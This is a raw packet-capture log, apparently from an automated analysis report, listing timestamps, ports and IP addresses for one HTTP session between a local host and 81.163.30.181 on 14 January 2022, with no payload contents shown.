Jan 14, 2022 20:23:52.467123985 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.492398977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.492516994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.520453930 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.524293900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.524365902 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.524720907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.524764061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.524801970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.524840117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.524842024 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.524878025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.524910927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.524916887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.524956942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.524993896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525005102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.525033951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525034904 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.525074005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525111914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525151014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525151968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.525190115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525203943 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.525228977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525268078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525274038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.525319099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525357962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525368929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.525398016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525434971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525446892 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.525475025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525516033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525521994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.525553942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525593042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525612116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.525630951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525669098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525707960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525712967 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.525753021 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.525763988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525815010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525898933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525952101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525966883 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.525991917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.525998116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.526031971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526071072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526108980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526113033 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.526149988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526150942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.526189089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526227951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526267052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526297092 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.526304960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526318073 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.526346922 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526386976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526397943 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.526427031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526467085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526492119 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.526503086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526542902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526582003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526592970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.526621103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526623964 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.526659966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526699066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526736975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526741028 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.526777983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.526781082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.566122055 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.566186905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.566303015 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.596442938 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.600630999 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.603710890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.603796005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.603857040 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.603888035 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.603919029 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.603933096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604031086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604094982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604141951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604146957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604171038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604193926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604209900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604238033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604264975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604289055 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604291916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604311943 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604320049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604350090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604377031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604403019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604403973 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604430914 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604434013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604459047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604480982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604485989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604516029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604542971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604566097 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604574919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604585886 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604604006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604630947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604659081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604685068 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604686022 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604707003 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604712009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604741096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604767084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604790926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604794025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604819059 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604824066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604850054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604877949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604906082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604904890 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604928970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.604932070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604960918 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.604988098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605016947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605046034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605055094 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.605081081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605114937 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.605176926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605206013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605235100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605262041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605289936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605324030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605350018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605376959 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.605377913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605407953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605407953 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.605436087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605464935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605475903 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.605493069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605520964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.605537891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.605578899 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.630378008 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.630453110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.630548000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.654068947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.663610935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.663655043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.663695097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.663697004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.663734913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.663773060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.663813114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.663813114 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.663853884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.663873911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.663894892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.663914919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.663935900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.663976908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.663996935 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.664374113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664442062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664443970 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.664495945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664535046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664558887 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.664573908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664627075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664637089 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.664669037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664710045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664729118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.664748907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664787054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664809942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.664825916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664868116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664907932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664908886 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.664946079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.664972067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.664985895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665026903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665062904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665074110 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.665102005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665122986 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.665143013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665182114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665220976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665230989 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.665260077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665282011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.665301085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665353060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665390968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665405989 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.665431023 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665453911 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.665474892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665512085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665529966 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.665550947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665590048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665606976 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.665628910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665668964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665684938 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.665709019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665747881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665767908 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.665791988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665839911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665860891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.665910006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665951014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.665970087 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.665990114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.666030884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.666045904 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.666070938 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.666107893 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.666137934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.666146040 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.666186094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.666212082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.666225910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.666289091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.687516928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.687560081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.687632084 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.723989010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724042892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724083900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724121094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724160910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724157095 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.724199057 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.724200010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724239111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724277973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724292040 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.724318027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724334002 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.724358082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724396944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724435091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724451065 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.724473953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724492073 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.724514961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724551916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724591017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724606991 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.724630117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724653006 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.724680901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724723101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724762917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724781036 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.724812031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724828959 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.724853992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724891901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724931002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724946976 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.724972010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.724987030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725009918 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725049019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725071907 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725089073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725128889 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725145102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725169897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725207090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725245953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725270033 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725285053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725332975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725334883 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725372076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725406885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725413084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725451946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725472927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725491047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725531101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725569963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725586891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725610018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725647926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725661039 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725687981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725703001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725727081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725764036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725792885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725804090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725842953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725904942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725914001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725955963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.725970030 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.725996017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.726033926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.726073027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.726092100 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.726110935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.726130962 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.726151943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.726192951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.726242065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.726248026 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.726284027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.726299047 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.744472980 CET	80	49866	81.163.30.181	192.168.2.3
